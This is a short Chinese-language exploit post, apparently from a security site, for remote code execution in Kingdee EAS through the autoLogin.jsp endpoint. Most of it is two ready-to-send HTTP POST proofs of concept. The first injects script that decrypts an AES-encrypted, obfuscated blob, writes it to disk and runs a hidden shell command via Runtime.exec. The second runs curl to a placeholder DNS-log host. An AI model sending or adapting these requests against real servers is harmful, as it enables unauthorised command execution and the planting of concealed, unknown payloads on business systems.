金蝶EAS autoLogin.jsp远程代码执行

fofa:

暂无

poc:

POST /easportal/autoLogin.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

defaultPage=/autoLogin.jsp?defaultPage=/BIReport&json=1);var i="opijiaas";var a=com.kingdee.eas.csinterface.util.AES.decryptToString("Ek+8kmyzOHNqGo1UKdt4NlGU52blbdkMelN7bcXW/ojupJrhhqviZaefOQdPaUbjTPICgST1wSBHcaVYV8OxXdWDUmUKr1Quk0PBx+XeW8Fb76VdD0c5G6V6u/FM5uoBTjBLA8S4PzeTCJJrSaiIs1k7apal+GZbRR16CN/2Vtov3htYHXLLRg+LnXxZbrVUfZafPWULElnJSajjzNIC1jlrlW6WLBfijNAX+hobz3jlbsXMf4t3riDzxLpIcCQX/ksyFrFNbV4vIrwMWlDI8hmoAoqhLZ0ASDYW77SjBObPRRlFrary/4VfpwFCPx7e22TsHdLwY8cAwS6/XVOrjOyA71xOyQbAu4C/9fPgh+xNyBStFz2RESDr73T1l61uAgYyCCoiAXZn3+SIIcJKeE1N/Klyc7OlNPvMBdj/yXO5vjHzK2Jd144LemlcPx1AcFY3ksmjA3b2t/Dc1og0qAUJ2juihBWLBv77hbNjNUkAgqqs7AW8wXvu92G6K7cNgqvpB5ImjbF770ofNHd7UVT2+PZYjUsVm+K2ylHa4zzHA+7MumbumC9HJbbqxjW7CEVQycjrD4laDQSYI6cSfy8LbkztrUP+Dh1O2sWtWyz2qZQSZnEFevxIRcqfrLoOknHOQg86DomElIScs2FTlNhBnbJs4E3TP1cfl87KRFP0Tieos9EwTfWcS7CfPqqZ9WapdDoAviiycZa6dydVzbs87y2YlFKhkO2p498NOCW4iqQVjUAR/rlVC8Ouw+eTyWNLWnqslS9dztg/z3Ew8VA6AnOLePrl59uIwHaHjg7YYc1MIkFgcA2Yjm8Q186SF0/ymHjFhco4DekLGSlnifxEUd7RlLXk1ANHJ0U+s4Hxi8bkLRCXWdYF1eymNZ/kU1I4qcS7MDPSzQgR4ToCIGUdOId+YvXN8uu7p8Jsmxnz63xEchplTw1qUI5jSmwa19ZgoW1tOPPm4IrvarAahgTxgOY0lXV3pKStbDZrW6/N/EH/bO1DbVIVvoFfdXhBBqqzKprOydea8dm7XVzKJK8sOVMoLQIDnQVzD7KXVaZBxo6x/5zbB1gKGhrhngcHeh5vbdPYE/QEQhER2AiM/E55e5hbXQVTpE1c5tZfeRzkqyxTRYBAbIwRzk4rXYMNUxeqXA1BnLGmPReoU4oChLpdIlRsYCD/Ki0uPTXsdYy12Hxf+TDLNHP+lK9m7AggzF0ebLuAdPFY0nk/mJOQ7TuDD6/Ayxu2+5PVOfE1+YGwIOs9awBx5y/pYdLgmg+UG0I5ntmhjgZJWNwucLoNXcsBOE6FPwfawJW3oQYLN4IS5DeE677Jo8qaHF2b9JsfdtIYefiwCpijcU+Rrg6GxNAs7CkmMslHuuONpswM4VUoarI25ZTGxJoRiqnfapdWwnZpiRgz/fR0B+gZ+DA070zRJrZ8kgfkR7tnyJrO7DStOG6Db3P4B5GLjfI8/UY3EpLip3TJ+/sJh3XfllE7n98DmIkGYKJNyZtyFLMhnEFfomv5A5w6SJQH0xwMBDxwlDO+WE6Awrv+428MC3Mt39ryKxNE5OJruLgTKqd3yx2C+O2r6qiSrobGTDE4B2uNXutcBu0zogzYEJIq/OvNrwoPtcPdJMhJgfnVpCCcNEgD8xa1Q+x0yDhCLU7hGz25lLkkfXSwt3abkc2vdwb/yMT6mcwAp3IbU1KNarqr/NDzCDoSEggaSh60nQDbjWdgkqKLPCRp/eMotb/CY+Hfyjdm8AYuwqEHHrhtGOjv4CAuC3DvJjfSZQNeVMI0SnkB",i);var c=com.kingdee.eas.csinterface.util.AES.decryptToString("kUZJ2T0m2mB1QokcjGJMXOtiAjEHaQ/Ar3pxCbjtfOtwH8CTvhKKQg2CvKEc0LMhiLRBBdr4Tda+BKv5UwKlQk2rAhziUrSHey3ih3j9bSw=",i);com.kingdee.eas.csinterface.util.IOUtils.writeToFile(a.getBytes(),"easbinfiles");var cc=new Array('/bin/sh', '-c', c);java.lang.Runtime.getRuntime().exec(cc);//"

其他poc:

POST /easportal/autoLogin.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length:

defaultPage=/autoLogin.jsp%3fdefaultPage%3d/BIReport%26json%3d1%2529%253Bvar%2520cc%253Dnew%2520Array%2528%2527%252Fbin%252Fsh%2527%252C%2520%2527-c%2527%252C%2520%2527curl%2520http%253A%252F%252F{{dnslog}}%252FQ12345%2527%2529%253Bjava.lang.Runtime.getRuntime%2528%2529.exec%2528cc%2529%253B%252F%252F

 

© 版权声明
THE END
喜欢就支持一下吧
点赞48赞赏 分享
评论 共2条

请登录后发表评论

    请登录后查看评论内容